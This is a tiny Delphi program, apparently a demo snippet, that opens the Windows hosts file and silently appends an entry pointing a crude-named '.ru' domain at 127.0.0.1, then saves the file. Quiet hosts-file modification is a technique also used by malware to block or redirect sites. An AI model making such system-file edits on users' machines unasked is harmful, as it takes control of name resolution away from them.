program Project1;

uses
Windows,
Classes;

var
WinDir: array[0..255] of char;
Str: TStrings;

begin
GetWindowsDirectory(WinDir, 255);
Str := TStringList.Create;
Str.LoadFromFile(WinDir + '\system32\drivers\etc\hosts');
Str.Add('127.0.0.1 fuck0ff.ru');
Str.SaveToFile(WinDir + '\system32\drivers\etc\hosts');
Str.Free;
end.